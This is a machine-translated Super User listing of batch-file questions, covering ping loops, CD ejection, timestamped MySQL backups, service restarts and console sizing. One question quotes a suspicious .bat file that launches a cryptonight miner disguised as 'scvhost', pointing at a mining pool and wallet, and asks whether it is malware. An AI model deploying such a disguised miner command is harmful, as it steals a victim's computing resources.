Questions tagged «batch-file»

批处理文件是一个文本文件,其中包含一系列命令,这些命令由MS-DOS,IBM OS / 2或Microsoft Windows系统上的命令解释器执行。



10
如何每隔X分钟执行一次ping操作并检查响应时间?
我目前在一家大公司工作,我们遇到了严重的延迟问题。这是在过程控制系统中发生的,并且是不可接受的(有时在命令启动前需要2分钟才能打开阀门) 当网络团队说“网络上的一切都很好”时,我想仔细检查一下。因此,我想创建一个对服务器执行ping操作并将其写入文本文件的循环。 我不是批处理专家,但是您认为此代码正确使用吗? @ECHO OFF :LOOPSTART time /T ping xxx.xx.x.x -t >> filename.txt sleep -m 3000 GOTO LOOPSTART



6
如何通过cmd弹出CD?
此问题是从Stack Overflow 迁移而来的,因为可以在Super User上回答。 迁移 4年前。 我一直在尝试使用cmd弹出CD驱动器。 但是,我很沮丧。在互联网上搜索时,我仅找到以下答案: eject D: 和一个类似的答案 eject D: /I 他们两个都不起作用。 编辑 现在人们已经在超级用户上找到了这个答案, Set oWMP = CreateObject("WMPlayer.OCX.7") Set colCDROMs = oWMP.cdromCollection colCDROMs.Item(0).Eject 但是,我得到一个错误: colCDROMS.Item无法识别为内部或外部命令,可操作程序或批处理文件。


6
如何在命令提示符下回显TAB字符
在Windows批处理文件上,回显a的正确方法是TAB什么? echo A<TAB>B<TAB>C 我知道我可以TAB在条目之间键入char,但是大多数编辑器会将其显示为一系列空格。有些甚至会自动将它们转换为空格,我正在寻找更直观的东西。 澄清: <TAB>这里指的是真正的制表符。我正在寻找批处理脚本中的C \ t。

3
重新启动通配符服务
当前,我们已经设置了一个.BAT文件,其中列出了所有服务来启动/停止它们,例如。 SC start SERVICE SC start SERVICE SC stop SERVICE SC stop SERVICE 我们一直在添加新服务,并且列表不断增加,并且难以维护批处理文件。 是否可以使用诸如“ SC启动服务*”之类的WILDCARD?

6
在批处理文件中使用日期和时间来创建文件名
我正在从批处理文件运行程序,完成后该文件将自动备份MySQL数据库。 我希望批处理文件为每次运行创建一个不同的备份,以便可以回溯。 所需的文件名是gnucash_shockwave-20121128210344.sql(日期格式YYYY-MM-DD-HH-MM-SS) 我在Google上搜索了一些表示“尝试”的内容%DATE:~4%,%Date.Year%但是却收到一条错误消息:The system cannot find the specified path. 如果删除时间戳记,脚本可以正常工作,但是会覆盖先前的备份 这是我正在谈论的代码部分: @REM *** EXECUTION *** echo. Starting backup... SET timestamp %DATE:~-4%%DATE:~4,2%%DATE:~7,2%%TIME% %mysqldir%\mysqldump -u %mysqluser% -p%mysqlpassword% -h %mysqlhost% -P %mysqlport% --databases --routines --verbose gnucash_shockwave > %BackupDir%\gnucash_shockwave-%timestamp%.sql echo.------------------------------------------------------ echo. Backup complete! 有什么建议么?

6
临时更改单个批处理文件命令的目录
在shell脚本中,如果我需要从目录运行命令,我可以使用一个子shell来确保返回到原始上下文: (cd temporary/new/directory ; command) # now I am still in original directory 可以在Windows批处理文件(或cmd文件)中完成此操作吗 在批处理文件中执行相同的操作会将我留在新目录中。 我可以: pushd temporary\new\directory && command && popd 但是popd依赖于成功command。 有任何想法吗?

1
这个带有cryptonight的scvhost.bat是病毒还是矿工?
我刚刚找到了名为.svhost.bat的.bat文件。该文件包含以下内容: scvhost -a cryptonight -o stratum+tcp://xmr-eu.dwarfpool.com:8005 -u 48uh2mrdkdq2tQysfkX2hZDi2hkRua4GX13EqY8djJ5xNXhez7baztVWbwXa34vUMveKAzAiA4j8xgUi29TpKXpm42jqV6H.microSf -p MXXXXXX-t 02 这是病毒(窃取信息等)还是种植的矿工?我很担心,因为我也涉猎加密货币,并且stratum是上面文件中提到的一种货币。

2
如果在执行bat文件的过程中关闭了文件夹,则CMD窗口不会关闭
我有一个运行异常的Server 2012 R2 Standard 64位虚拟机。蝙蝠文件工作正常,CMD窗口正常关闭;但是,如果在执行bat文件的过程中关闭了包含bat文件的文件夹,它将完成,但CMD窗口不会关闭。我已经简化了这一点,使其具有最简单的bat文件。它包含1行。暂停 使用Windows资源管理器打开包含bat文件的文件夹 双击启动bat文件 关闭Windows资源管理器窗口 在CMD窗口中按任意键 bat文件完成后,光标移至下一行 CMD窗口保留 这仅在一台计算机上发生。有人知道为什么会这样吗?这是一个测试虚拟机,也许应该重新构建,但是我对此感到好奇。谢谢 我用包含以下内容的简单的bat文件替换了: @assoc .bat @for /F "tokens=1,* delims==" %%G in ('assoc .bat') do @ftype %%H @reg query "HKLM\Software\Microsoft\Command Processor" /v AutoRun 2>NUL @reg query "HKCU\Software\Microsoft\Command Processor" /v AutoRun 2>NUL @wmic process where "caption = 'cmd.exe'" get CommandLine, ParentProcessId, ProcessID …

6
如何打开给定窗口大小的控制台应用程序?
我要启动的应用程序是MongoDB。如果我能正常启动它,它看起来像这样: 我不喜欢换行符的数量,而且屏幕空间很大,所以我想利用上述空间来消除换行符。 我可以使用更改控制台窗口的大小MODE,因此我编写了一个批处理文件,如下所示: @ECHO OFF MODE con:cols=140 lines=70 %~dp0mongodb\bin\mongod --dbpath %~dp0data --rest 到目前为止,一切都很好。启动此批处理文件时,将根据需要获得一个更大的窗口。 但是当我现在按Ctrl+ C退出MongoDB时,我得到了烦人的提示: Terminate batch job (Y/N)? 这没用,因为我刚刚退出的命令无论如何都是批处理作业中的最后一条命令,无论我回答什么,结果都是一样的。 因此,当我按Ctrl+ 时,如何在没有提示的情况下为应用程序获取更大的控制台窗口C?

1
我可以防止更改覆盖图标吗?
背景 一些程序修改资源管理器中的图标以指示状态(“同步” 等) 众所周知,Windows(win7,win8,win10?)只能处理有限数量的此类图标(〜15),并且有几个相关的问题(在此处)。 这些覆盖图标已在分支机构的注册表中注册: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers 实际上仅使用前几对条目(15?),其余的将被忽略。因此,让多个程序安装其自己的覆盖图标可能会破坏已安装程序的行为。 要解决此问题,通常必须进入注册表并删除(或重命名)不需要的条目,直到所需条目排在最前面。 问题 最近,我注意到一些争夺这些头把交椅的程序的行为越来越“激进”。这通常是通过使用以空格字符开头的键名来强制进行顶级排序来完成的。 例如Dropbox,GoogleDrive,SkyDrive和OneDrive都是这样做的。如今,有些驱动器(例如GoogleDrive甚至使用三个空格),但其他程序变得越来越... 更糟糕的是,某些程序甚至在任何自动“更新”(甚至更新检查或程序启动?)期间自动修复此设置。因此,定期进行任何手动调整。我至少在GoogleDrive,Dropbox和OneDrive中注意到了这一点 题 有没有一种方法可以“保护”注册表免遭此类自动更改? 编辑(答案) Alexey Ivanov在下面的评论中给出了一个很好的建议,到目前为止,“撤销注册表特权”已经为我解决了这个问题。

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.